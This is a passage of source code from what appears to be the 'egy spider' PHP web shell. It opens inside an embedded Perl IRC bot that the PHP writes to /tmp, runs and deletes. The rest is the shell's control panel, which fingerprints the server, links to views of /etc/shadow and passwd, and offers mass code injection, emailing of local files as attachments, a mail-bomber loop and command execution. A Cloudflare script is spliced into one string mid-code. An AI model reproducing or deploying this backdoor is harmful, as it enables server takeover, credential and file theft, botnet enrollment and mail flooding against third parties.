3149      my \$dcctipo = \$DCC{\$fh}{tipo};
3150      my \$arquivo = \$DCC{\$fh}{arquivo};
3151      my \$bytes = \$DCC{\$fh}{bytes};
3152      my \$cur_byte = \$DCC{\$fh}{curbyte};
3153      my \$nick = \$DCC{\$fh}{nick};
3154 
3155 
3156      my \$msg;
3157      my \$nread = sysread(\$fh, \$msg, 10240);
3158 
3159      if (\$nread == 0 and \$dcctipo =~ /^(get|sendcon)$/) {
3160         \$DCC{\$fh}{status} = \"Cancelado\";
3161         \$DCC{\$fh}{ftime} = time;
3162         \$dcc_sel->remove(\$fh);
3163         \$fh->close;
3164         next;
3165      }
3166 
3167      if (\$dcctipo eq \"get\") {
3168         \$DCC{\$fh}{curbyte} += length(\$msg);
3169 
3170         my \$cur_byte = \$DCC{\$fh}{curbyte};
3171 
3172         open(FILE, \">> \$arquivo\");
3173         print FILE \"\$msg\" if (\$cur_byte <= \$bytes);
3174         close(FILE);
3175 
3176         my \$packbyte = pack(\"N\", \$cur_byte);
3177         print \$fh \"\$packbyte\";
3178 
3179 
3180         if (\$bytes == \$cur_byte) {
3181            \$dcc_sel->remove(\$fh);
3182            \$fh->close;
3183            \$DCC{\$fh}{status} = \"Recebido\";
3184            \$DCC{\$fh}{ftime} = time;
3185            next;
3186         }
3187      } elsif (\$dcctipo eq \"send\") {
3188           my \$send = \$fh->accept;
3189           \$send->autoflush(1);
3190           \$dcc_sel->add(\$send);
3191           \$dcc_sel->remove(\$fh);
3192           \$DCC{\$send}{tipo} = 'sendcon';
3193           \$DCC{\$send}{itime} = time;
3194           \$DCC{\$send}{nick} = \$nick;
3195           \$DCC{\$send}{bytes} = \$bytes;
3196           \$DCC{\$send}{curbyte} = 0;
3197           \$DCC{\$send}{arquivo} = \$arquivo;
3198           \$DCC{\$send}{ip} = \$send->peerhost;
3199           \$DCC{\$send}{porta} = \$send->peerport;
3200           \$DCC{\$send}{status} = \"Enviando\";
3201           #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
3202           open(FILE, \"< \$arquivo\");
3203           my \$fbytes;
3204           read(FILE, \$fbytes, 1024);
3205           print \$send \"\$fbytes\";
3206           close FILE;
3207 # delete(\$DCC{\$fh});
3208 } elsif (\$dcctipo eq 'sendcon') {
3209           my \$bytes_sended = unpack(\"N\", \$msg);
3210           \$DCC{\$fh}{curbyte} = \$bytes_sended;
3211           if (\$bytes_sended == \$bytes) {
3212              \$fh->close;
3213              \$dcc_sel->remove(\$fh);
3214              \$DCC{\$fh}{status} = \"Enviado\";
3215              \$DCC{\$fh}{ftime} = time;
3216              next;
3217           }
3218           open(SENDFILE, \"< \$arquivo\");
3219           seek(SENDFILE, \$bytes_sended, 0);
3220           my \$send_bytes;
3221           read(SENDFILE, \$send_bytes, 1024);
3222           print \$fh \"\$send_bytes\";
3223           close(SENDFILE);
3224      }
3225    }
3226 }
3227 
3228 ###
3229 ###
3230 ###
3231 ###
3232 ###
3233 ###
3234 ###
3235 ###
3236 ###
3237 ###
3238 ###
3239 ###
3240 ###
3241 
3242 sub SEND {
3243   my (\$nick, \$arquivo) = @_;
3244   unless (-r \"\$arquivo\") {
3245     return(0);
3246   }
3247 
3248   my \$dccark = \$arquivo;
3249   \$dccark =~ s/[.*\/](\S+)/$1/;
3250 
3251   my \$meuip = $::irc_servers{\"$::IRC_cur_socket\"}{'meuip'};
3252   my \$longip = unpack(\"N\",inet_aton(\$meuip));
3253 
3254   my @filestat = stat(\$arquivo);
3255   my \$size_total=\$filestat[7];
3256   if (\$size_total == 0) {
3257      return(0);
3258   }
3259 
3260   my (\$porta, \$sendsock);
3261   do {
3262     \$porta = int rand(64511);
3263     \$porta += 1024;
3264     \$sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>\$porta, Proto => 'tcp') and \$dcc_sel->add(\$sendsock);
3265   } until \$sendsock;
3266 
3267   \$DCC{\$sendsock}{tipo} = 'send';
3268   \$DCC{\$sendsock}{nick} = \$nick;
3269   \$DCC{\$sendsock}{bytes} = \$size_total;
3270   \$DCC{\$sendsock}{arquivo} = \$arquivo;
3271 
3272   &::ctcp(\"\$nick\", \"DCC SEND \$dccark \$longip \$porta \$size_total\");
3273 
3274 }
3275 
3276 sub GET {
3277   my (\$arquivo, \$dcclongip, \$dccporta, \$bytes, \$nick) = @_;
3278   return(0) if (-e \"\$arquivo\");
3279   if (open(FILE, \"> \$arquivo\")) {
3280      close FILE;
3281   } else {
3282     return(0);
3283   }
3284 
3285   my \$dccip=fixaddr(\$dcclongip);
3286   return(0) if (\$dccporta < 1024 or not defined \$dccip or \$bytes < 1);
3287   my \$dccsock = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\$dccip, PeerPort=>\$dccporta, Timeout=>15) or return (0);
3288   \$dccsock->autoflush(1);
3289   \$dcc_sel->add(\$dccsock);
3290   \$DCC{\$dccsock}{tipo} = 'get';
3291   \$DCC{\$dccsock}{itime} = time;
3292   \$DCC{\$dccsock}{nick} = \$nick;
3293   \$DCC{\$dccsock}{bytes} = \$bytes;
3294   \$DCC{\$dccsock}{curbyte} = 0;
3295   \$DCC{\$dccsock}{arquivo} = \$arquivo;
3296   \$DCC{\$dccsock}{ip} = \$dccip;
3297   \$DCC{\$dccsock}{porta} = \$dccporta;
3298   \$DCC{\$dccsock}{status} = \"Recebendo\";
3299 }
3300 
3301 ###
3302 ###
3303 ###
3304 ###
3305 ###
3306 ###
3307 ###
3308 ###
3309 ###
3310 ###
3311 ###
3312 ###
3313 ###
3314 ###
3315 # po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
3316 sub Status {
3317   my \$socket = shift;
3318   my \$sock_tipo = \$DCC{\$socket}{tipo};
3319   unless (lc(\$sock_tipo) eq \"chat\") {
3320     my \$nick = \$DCC{\$socket}{nick};
3321     my \$arquivo = \$DCC{\$socket}{arquivo};
3322     my \$itime = \$DCC{\$socket}{itime};
3323     my \$ftime = time;
3324     my \$status = \$DCC{\$socket}{status};
3325     \$ftime = \$DCC{\$socket}{ftime} if defined(\$DCC{\$socket}{ftime});
3326 
3327     my \$d_time = \$ftime-\$itime;
3328 
3329     my \$cur_byte = \$DCC{\$socket}{curbyte};
3330     my \$bytes_total = \$DCC{\$socket}{bytes};
3331 
3332     my \$rate = 0;
3333     \$rate = (\$cur_byte/1024)/\$d_time if \$cur_byte > 0;
3334     my \$porcen = (\$cur_byte*100)/\$bytes_total;
3335 
3336     my (\$r_duv, \$p_duv);
3337     if (\$rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
3338        \$r_duv = $3; \$r_duv++ if $4 >= 5;
3339        \$rate = \"$1\.$2\".\"\$r_duv\";
3340     }
3341     if (\$porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
3342        \$p_duv = $3; \$p_duv++ if $4 >= 5;
3343        \$porcen = \"$1\.$2\".\"\$p_duv\";
3344     }
3345     return(\"\$sock_tipo\",\"\$status\",\"\$nick\",\"\$arquivo\",\"\$bytes_total\", \"\$cur_byte\",\"\$d_time\", \"\$rate\", \"\$porcen\");
3346   }
3347 
3348   return(0);
3349 }
3350 
3351 # esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
3352 sub fixaddr {
3353     my (\$address) = @_;
3354 
3355     chomp \$address; # just in case, sigh.
3356     if (\$address =~ /^\d+$/) {
3357         return inet_ntoa(pack \"N\", \$address);
3358     } elsif (\$address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
3359         return \$address;
3360     } elsif (\$address =~ tr/a-zA-Z//) { # Whee! Obfuscation!
3361         return inet_ntoa(((gethostbyname(\$address))[4])[0]);
3362     } else {
3363         return;
3364     }
3365 }
3366 
3367 ###
3368 ###
3369 ###
3370 ###
3371 ###
3372 ###
3373 ###
3374 ###
3375 ###
3376 ###
3377 ###
3378 ###
3379 ###
3380 ###
3381 ";
3382                     $bot = "/tmp/ircs.pl";
3383                     $open = fopen($bot, "w");
3384                     fputs($open, $file);
3385                     fclose($open);
3386                     $cmd = "perl $bot";
3387                     $cmd2 = "rm $bot";
3388                     system($cmd);
3389                     system($cmd2);
3390                     $_POST['cmd'] = "echo \"Now script try connect to ircserver ...\"";
3391                 }
3392                 if (!isset($_COOKIE[$lang[$language . '_text137']])) {
3393                     $ust_u = '';
3394                     if ($unix && !$safe_mode) {
3395                         foreach ($userful as $item) {
3396                             if (which($item)) {
3397                                 $ust_u.= $item;
3398                             }
3399                         }
3400                     }
3401                     if (@function_exists('apache_get_modules') && @in_array('mod_perl', apache_get_modules())) {
3402                         $ust_u.= ", mod_perl";
3403                     }
3404                     if (@function_exists('apache_get_modules') && @in_array('mod_include', apache_get_modules())) {
3405                         $ust_u.= ", mod_include(SSI)";
3406                     }
3407                     if (@function_exists('pcntl_exec')) {
3408                         $ust_u.= ", pcntl_exec";
3409                     }
3410                     if (@extension_loaded('win32std')) {
3411                         $ust_u.= ", win32std_loaded";
3412                     }
3413                     if (@extension_loaded('win32service')) {
3414                         $ust_u.= ", win32service_loaded";
3415                     }
3416                     if (@extension_loaded('ffi')) {
3417                         $ust_u.= ", ffi_loaded";
3418                     }
3419                     if (@extension_loaded('perl')) {
3420                         $ust_u.= ", perl_loaded";
3421                     }
3422                     if (substr($ust_u, 0, 1) == ",") {
3423                         $ust_u[0] = "";
3424                     }
3425                     $ust_u = trim($ust_u);
3426                 } else {
3427                     $ust_u = trim($_COOKIE[$lang[$language . '_text137']]);
3428                 }
3429                 if (!isset($_COOKIE[$lang[$language . '_text138']])) {
3430                     $ust_d = '';
3431                     if ($unix && !$safe_mode) {
3432                         foreach ($danger as $item) {
3433                             if (which($item)) {
3434                                 $ust_d.= $item;
3435                             }
3436                         }
3437                     }
3438                     if (!$safe_mode) {
3439                         foreach ($danger as $item) {
3440                             if (ps($item)) {
3441                                 $ust_d.= $item;
3442                             }
3443                         }
3444                     }
3445                     if (@function_exists('apache_get_modules') && @in_array('mod_security', apache_get_modules())) {
3446                         $ust_d.= ", mod_security";
3447                     }
3448                     if (substr($ust_d, 0, 1) == ",") {
3449                         $ust_d[0] = "";
3450                     }
3451                     $ust_d = trim($ust_d);
3452                 } else {
3453                     $ust_d = trim($_COOKIE[$lang[$language . '_text138']]);
3454                 }
3455                 if (!isset($_COOKIE[$lang[$language . '_text142']])) {
3456                     $select_downloaders = '<select size="1" name=with>';
3457                     if ((!@function_exists('ini_get')) || (@ini_get('allow_url_fopen') && @function_exists('file'))) {
3458                         $select_downloaders.= "<option value=\"fopen\">fopen</option>";
3459                         $downloader = "fopen";
3460                     }
3461                     if ($unix && !$safe_mode) {
3462                         foreach ($downloaders as $item) {
3463                             if (which($item)) {
3464                                 $select_downloaders.= '<option value="' . $item . '">' . $item . '</option>';
3465                                 $downloader.= ", $item";
3466                             }
3467                         }
3468                     }
3469                     $select_downloaders.= '</select>';
3470                     if (substr($downloader, 0, 1) == ",") {
3471                         $downloader[0] = "";
3472                     }
3473                     $downloader = trim($downloader);
3474                 }
3475                 echo $head;
3476                 echo '</head>';
3477                 echo '<<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#dadada><tr><td bgcolor=#000000 width=120><font face=Comic Sans MS size=1>' . ws(2) . '<DIV dir=ltr align=center><p><font style="font-weight: 500" face="Webdings" color="#800000" size="7">!</font></p>' . ws(2) . '<DIV dir=ltr align=center><SPAN
3478 style="FILTER: blur(add=1,direction=10,strength=25); HEIGHT: 25px">
3479 <SPAN
3480 style="FONT-SIZE: 15pt; COLOR: white; FONT-FAMILY: Impact">egy spider</P></SPAN></DIV></font></b></font></td><td bgcolor=#000000><font face=tahoma size=1>' . '</center></font>' . $fe . '</td>' . '<td bgcolor=#333333><font face=#FFFFFF size=-2>';
3481                 echo ws(2) . "<b>" . date("d-m-Y H:i:s") . "</b> Your IP: [<font color=blue>" . gethostbyname($_SERVER["REMOTE_ADDR"]) . "</font>]";
3482                 echo " X_FORWARDED_FOR:";
3483                 if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
3484                     echo "[<font color=red>" . $_SERVER['HTTP_X_FORWARDED_FOR'] . "</font>]";
3485                 } else {
3486                     echo "[<font color=green><b>NONE</b></font>]";
3487                 }
3488                 echo " CLIENT_IP: ";
3489                 if (isset($_SERVER['HTTP_CLIENT_IP'])) {
3490                     echo "[<font color=red>" . $_SERVER['HTTP_CLIENT_IP'] . "</font>]";
3491                 } else {
3492                     echo "[<font color=green><b>NONE</b></font>]";
3493                 }
3494                 echo " Server IP: [<font color=blue>" . gethostbyname($_SERVER["HTTP_HOST"]) . "</font>]";
3495                 echo "<br>";
3496                 echo ws(2) . "PHP Version: <b>" . @phpversion() . "</b>";
3497                 $curl_on = @function_exists('curl_version');
3498                 echo ws(2);
3499                 echo "cURL: <b>" . (($curl_on) ? ("<font color=red>ON</font>") : ("<font color=green>OFF</font>"));
3500                 echo "</b>" . ws(2);
3501                 echo "MySQL: <b>";
3502                 $mysql_on = @function_exists('mysql_connect');
3503                 if ($mysql_on) {
3504                     echo "<font color=red>ON</font>";
3505                 } else {
3506                     echo "<font color=green>OFF</font>";
3507                 }
3508                 echo "</b>" . ws(2);
3509                 echo "MSSQL: <b>";
3510                 $mssql_on = @function_exists('mssql_connect');
3511                 if ($mssql_on) {
3512                     echo "<font color=red>ON</font>";
3513                 } else {
3514                     echo "<font color=green>OFF</font>";
3515                 }
3516                 echo "</b>" . ws(2);
3517                 echo "PostgreSQL: <b>";
3518                 $pg_on = @function_exists('pg_connect');
3519                 if ($pg_on) {
3520                     echo "<font color=red>ON</font>";
3521                 } else {
3522                     echo "<font color=green>OFF</font>";
3523                 }
3524                 echo "</b>" . ws(2);
3525                 echo "Oracle: <b>";
3526                 $ora_on = @function_exists('ocilogon');
3527                 if ($ora_on) {
3528                     echo "<font color=red>ON</font>";
3529                 } else {
3530                     echo "<font color=green>OFF</font>";
3531                 }
3532                 echo "</b>" . ws(2);
3533                 echo "MySQLi: <b>";
3534                 $mysqli_on = @function_exists('mysqli_connect');
3535                 if ($mysqli_on) {
3536                     echo "<font color=red>ON</font>";
3537                 } else {
3538                     echo "<font color=green>OFF</font>";
3539                 }
3540                 echo "</b>" . ws(2);
3541                 echo "MSQL: <b>";
3542                 $msql_on = @function_exists('msql_connect');
3543                 if ($msql_on) {
3544                     echo "<font color=red>ON</font>";
3545                 } else {
3546                     echo "<font color=green>OFF</font>";
3547                 }
3548                 echo "</b>" . ws(2);
3549                 echo "SQLite: <b>";
3550                 $sqlite_on = @function_exists('sqlite_open');
3551                 if ($sqlite_on) {
3552                     echo "<font color=red>ON</font>";
3553                 } else {
3554                     echo "<font color=green>OFF</font>";
3555                 }
3556                 echo "</b><br>" . ws(2);
3557                 echo "Safe_Mode: <b>";
3558                 echo (($safe_mode) ? ("<font color=red>ON</font>") : ("<font color=green>OFF</font>"));
3559                 echo "</b>" . ws(2);
3560                 echo "Open_Basedir: <b>";
3561                 if ($open_basedir) {
3562                     if ('' == ($df = @ini_get('open_basedir'))) {
3563                         echo "<font color=red>ini_get disable!</font></b>";
3564                     } else {
3565                         echo "<font color=red>$df</font></b>";
3566                     };
3567                 } else {
3568                     echo "<font color=green>NONE</font></b>";
3569                 }
3570                 echo ws(2) . "Safe_Exec_Dir: <b>";
3571                 if (@function_exists('ini_get')) {
3572                     if ('' == ($df = @ini_get('safe_mode_exec_dir'))) {
3573                         echo "<font color=red>NONE</font></b>";
3574                     } else {
3575                         echo "<font color=green>$df</font></b>";
3576                     };
3577                 } else {
3578                     echo "<font color=red>ini_get disable!</font></b>";
3579                 }
3580                 echo ws(2) . "Safe_Gid: <b>";
3581                 if (@function_exists('ini_get')) {
3582                     if (@ini_get('safe_mode_gid')) {
3583                         echo "<font color=green>ON</font></b>";
3584                     } else {
3585                         echo "<font color=red>OFF</font></b>";
3586                     };
3587                 } else {
3588                     echo "<font color=red>ini_get disable!</font></b>";
3589                 }
3590                 echo ws(2) . "Safe_Include_Dir: <b>";
3591                 if (@function_exists('ini_get')) {
3592                     if ('' == ($df = @ini_get('safe_mode_include_dir'))) {
3593                         echo "<font color=red>NONE</font></b>";
3594                     } else {
3595                         echo "<font color=green>$df</font></b>";
3596                     };
3597                 } else {
3598                     echo "<font color=red>ini_get disable!</font></b>";
3599                 }
3600                 echo ws(2) . "Sql.safe_mode: <b>";
3601                 if (@function_exists('ini_get')) {
3602                     if (@ini_get('sql.safe_mode')) {
3603                         echo "<font color=red>ON</font></b>";
3604                     } else {
3605                         echo "<font color=green>OFF</font></b>";
3606                     };
3607                 } else {
3608                     echo "<font color=red>ini_get disable!</font></b>";
3609                 }
3610                 echo "<br>" . ws(2);
3611                 echo "Disable Functions : <b>";
3612                 $df = 'ini_get  disable!';
3613                 if ((@function_exists('ini_get')) && ('' == ($df = @ini_get('disable_functions')))) {
3614                     echo "<font color=green>NONE</font></b>";
3615                 } else {
3616                     echo "<font color=red>$df</font></b>";
3617                 }
3618                 if (@function_exists('diskfreespace')) {
3619                     $free = @diskfreespace($dir);
3620                 } elseif (@function_exists('disk_free_space')) {
3621                     $free = @disk_free_space($dir);
3622                 } else {
3623                     $free = 'Unknown';
3624                 }
3625                 if (!$free) {
3626                     $free = 0;
3627                 }
3628                 $all = @disk_total_space($dir);
3629                 if (!$all) {
3630                     $all = 0;
3631                 }
3632                 echo "<br>" . ws(2) . "Free Space : <b>" . view_size($free) . "</b> Total Space: <b>" . view_size($all) . "</b>";
3633                 if ($ust_u) {
3634                     echo "<br>" . ws(2) . $lang[$language . '_text137'] . ": <font color=blue>" . $ust_u . "</font>";
3635                 };
3636                 if ($ust_d) {
3637                     echo "<br>" . ws(2) . $lang[$language . '_text138'] . ": <font color=red>" . $ust_d . "</font>";
3638                 };
3639                 if ($downloader) {
3640                     echo "<br>" . ws(2) . $lang[$language . '_text142'] . ": <font color=blue>" . $downloader . "</font>";
3641                 };
3642                 echo "<br>" . ws(2) . "</b>";
3643                 echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?' title=\"" . $lang[$language . '_text160'] . "\"><b>Home</b></a> " . $rb;
3644                 echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?egy' title=\"" . $lang[$language . '_text159'] . "\"><b>About EgY SpIdEr</b></a> " . $rb;
3645                 echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?news' title=\"" . $lang[$language . '_text152'] . "\"><b>News</b></a> " . $rb;
3646                 echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?logout=1' title=\"" . $lang[$language . '_text153'] . "\"><b>Logout</b></a> " . $rb;
3647                 echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?tools&act=feedback' title=\"" . $lang[$language . '_text180'] . "\"><b>Feedback & Contact Me </b></a> " . $rb;
3648                 echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?tools&dlink=qindx' title=\"" . $lang[$language . '_text154'] . "\"><b>Quick index </b></a> " . $rb;
3649                 echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?tools&act=massbrowsersploit' title=\"" . $lang[$language . '_text155'] . "\"><b>Mass Code Injection</b></a> " . $rb;
3650                 echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?tools&dlink=showsrc' title=\"" . $lang[$language . '_text156'] . "\"><b>File source </b></a> " . $rb;
3651                 echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?tools&dlink=zone' title=\"" . $lang[$language . '_text157'] . "\"><b>Zone-h</b></a> " . $rb;
3652                 echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?tools&act=encoder' title=\"" . $lang[$language . '_text158'] . "\"><b>Hash Tools</b></a> " . $rb;
3653                 echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?1' title=\"" . $lang[$language . '_text46'] . "\"><b>PhpInfo</b></a> " . $rb;
3654                 echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?2' title=\"" . $lang[$language . '_text47'] . "\"><b>Php.Ini</b></a> " . $rb;
3655                 echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?3' title=\"" . $lang[$language . '_text50'] . "\"><b>Cpu</b></a> " . $rb;
3656                 if (!$unix) {
3657                     echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?5' title=\"" . $lang[$language . '_text50'] . "\"><b>SystemInfo</b></a> " . $rb;
3658                 } else {
3659                     echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?6' title=\"View syslog.conf\"><b>Syslog</b></a> " . $rb;
3660                     echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?7' title=\"View resolv\"><b>Resolv</b></a> " . $rb;
3661                     echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?8' title=\"View hosts\"><b>Hosts</b></a> " . $rb;
3662                     echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?9' title=\"View shadow\"><b>Shadow</b></a> " . $rb;
3663                     echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?10' title=\"" . $lang[$language . '_text95'] . "\"><b>Passwd</b></a> " . $rb;
3664                 }
3665                 echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?11' title=\"" . $lang[$language . '_text48'] . "\"><b>Tmp</b></a> " . $rb;
3666                 echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?12' title=\"" . $lang[$language . '_text49'] . "\"><b>Delete</b></a> " . $rb;
3667                 if ($unix && !$safe_mode) {
3668                     echo "<br>" . ws(2) . "</b>";
3669                     echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?13' title=\"View procinfo\"><b>Procinfo</b></a> " . $rb;
3670                     echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?14' title=\"View proc version\"><b>Version</b></a> " . $rb;
3671                     echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?15' title=\"View mem free\"><b>Free</b></a> " . $rb;
3672                     echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?16' title=\"View dmesg\"><b>Dmesg</b></a> " . $rb;
3673                     echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?17' title=\"View vmstat\"><b>Vmstat</b></a> " . $rb;
3674                     echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?18' title=\"View lspci\"><b>lspci</b></a> " . $rb;
3675                     echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?19' title=\"View lsdev\"><b>lsdev</b></a> " . $rb;
3676                     echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?20' title=\"View interrupts\"><b>Interrupts</b></a> " . $rb;
3677                     echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?21' title=\"View realise1\"><b>Realise1</b></a> " . $rb;
3678                     echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?22' title=\"View realise2\"><b>Realise2</b></a> " . $rb;
3679                     echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?23' title=\"View lsattr -va\"><b>lsattr</b></a> " . $rb;
3680                     echo "<br>" . ws(2) . "</b>";
3681                     echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?24' title=\"View w\"><b>W</b></a> " . $rb;
3682                     echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?25' title=\"View who\"><b>Who</b></a> " . $rb;
3683                     echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?26' title=\"View uptime\"><b>Uptime</b></a> " . $rb;
3684                     echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?27' title=\"View last -n 10\"><b>Last</b></a> " . $rb;
3685                     echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?28' title=\"View ps -aux\"><b>Ps Aux</b></a> " . $rb;
3686                     echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?29' title=\"View service\"><b>Service</b></a> " . $rb;
3687                     echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?30' title=\"View ifconfig\"><b>Ifconfig</b></a> " . $rb;
3688                     echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?31' title=\"View netstat -a\"><b>Netstat</b></a> " . $rb;
3689                     echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?32' title=\"View fstab\"><b>Fstab</b></a> " . $rb;
3690                     echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?33' title=\"View fdisk -l\"><b>Fdisk</b></a> " . $rb;
3691                     echo ws(2) . $lb . " <a href='" . $_SERVER['PHP_SELF'] . "?34' title=\"View df -h\"><b>df -h</b></a> " . $rb;
3692                 }
3693                 echo '</font></td></tr><table>
3694 <table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
3695 <tr><td align=right width=100>';
3696                 echo $font;
3697                 if ($unix) {
3698                     echo '<font color=blue><b>uname -a :' . ws(1) . '<br>sysctl :' . ws(1) . '<br>$OSTYPE :' . ws(1) . '<br>Server :' . ws(1) . '<br>id :' . ws(1) . '<br>pwd :' . ws(1) . '</b></font><br>';
3699                     echo "</td><td>";
3700                     echo "<font face=Verdana size=-2 color=red><b>";
3701                     echo ((!empty($uname)) ? (ws(3) . @substr($uname, 0, 120) . "<br>") : (ws(3) . @substr(@php_uname(), 0, 120) . "<br>"));
3702                     echo ws(3) . ex('echo $OSTYPE') . "<br>";
3703                     echo ws(3) . @substr($SERVER_SOFTWARE, 0, 120) . "<br>";
3704                     if (!empty($id)) {
3705                         echo ws(3) . $id . "<br>";
3706                     } else if (@function_exists('posix_geteuid') && @function_exists('posix_getegid') && @function_exists('posix_getgrgid') && @function_exists('posix_getpwuid')) {
3707                         $euserinfo = @posix_getpwuid(@posix_geteuid());
3708                         $egroupinfo = @posix_getgrgid(@posix_getegid());
3709                         echo ws(3) . 'uid=' . $euserinfo['uid'] . ' ( ' . $euserinfo['name'] . ' ) gid=' . $egroupinfo['gid'] . ' ( ' . $egroupinfo['name'] . ' )<br>';
3710                     } else echo ws(3) . "user=" . @get_current_user() . " uid=" . @getmyuid() . " gid=" . @getmygid() . "<br>";
3711                     echo ws(3) . $dir;
3712                     echo ws(3) . '( ' . perms(@fileperms($dir)) . ' )';
3713                     echo "</b></font>";
3714                 } else {
3715                     echo '<font color=blue><b>OS :' . ws(1) . '<br>Server :' . ws(1) . '<br>User :' . ws(1) . '<br>pwd :' . ws(1) . '</b></font><br>';
3716                     echo "</td><td>";
3717                     echo "<font face=Verdana size=-2 color=red><b>";
3718                     echo ws(3) . @substr(@php_uname(), 0, 120) . "<br>";
3719                     echo ws(3) . @substr($SERVER_SOFTWARE, 0, 120) . "<br>";
3720                     echo ws(3) . @getenv("USERNAME") . "<br>";
3721                     echo ws(3) . $dir;
3722                     echo "<br></font>";
3723                 }
3724                 echo "</font>";
3725                 echo "</td></tr></table>";
3726                 if (!empty($_POST['cmd']) && $_POST['cmd'] == "mail") {
3727                     $res = mail($_POST['to'], $_POST['subj'], $_POST['text'], "From: " . $_POST['from'] . "\r\n");
3728                     err(6 + $res);
3729                     $_POST['cmd'] = "";
3730                 }
3731                 if (!empty($_POST['cmd']) && $_POST['cmd'] == "mail_file" && !empty($_POST['loc_file'])) {
3732                     if ($file = moreread($_POST['loc_file'])) {
3733                         $filedump = $file;
3734                     } else if ($file = readzlib($_POST['loc_file'])) {
3735                         $filedump = $file;
3736                     } else {
3737                         err(1, $_POST['loc_file']);
3738                         $_POST['cmd'] = "";
3739                     }
3740                     if (!empty($_POST['cmd'])) {
3741                         $filename = @basename($_POST['loc_file']);
3742                         $content_encoding = $mime_type = '';
3743                         compress($filename, $filedump, $_POST['compress']);
3744                         $attach = array("name" => $filename, "type" => $mime_type, "content" => $filedump);
3745                         if (empty($_POST['subj'])) {
3746                             $_POST['subj'] = 'file from egy spider shell';
3747                         }
3748                         if (empty($_POST['from'])) {
3749                             $_POST['from'] = 'egy_spider@hotmail.com
3750 /* <![CDATA[ */
3751 (function(){try{var s,a,i,j,r,c,l,b=document.getElementsByTagName("script");l=b[b.length-1].previousSibling;a=l.getAttribute('data-cfemail');if(a){s='';r=parseInt(a.substr(0,2),16);for(j=2;a.length-j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c);}s=document.createTextNode(s);l.parentNode.replaceChild(s,l);}}catch(e){}})();
3752 /* ]]> */
3753 ';
3754                         }
3755                         $res = mailattach($_POST['to'], $_POST['from'], $_POST['subj'], $attach);
3756                         err(6 + $res);
3757                         $_POST['cmd'] = "";
3758                     }
3759                 }
3760                 if (!empty($_POST['cmd']) && $_POST['cmd'] == "mail_bomber" && !empty($_POST['mail_flood']) && !empty($_POST['mail_size'])) {
3761                     for ($h = 1;$h <= $_POST['mail_flood'];$h++) {
3762                         $res = mail($_POST['to'], $_POST['subj'], $_POST['text'] . str_repeat(" ", 1024 * $_POST['mail_size']), "From: " . $_POST['from'] . "\r\n");
3763                     }
3764                     err(6 + $res);
3765                     $_POST['cmd'] = "";
3766                 }
3767                 if (!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") {
3768                     $_POST['cmd'] = 'find ' . $_POST['s_dir'] . ' -name \'' . $_POST['s_mask'] . '\' | xargs grep -E \'' . $_POST['s_text'] . '\'';
3769                 }
3770                 if (!empty($_POST['cmd']) && $_POST['cmd'] == "ch_") {
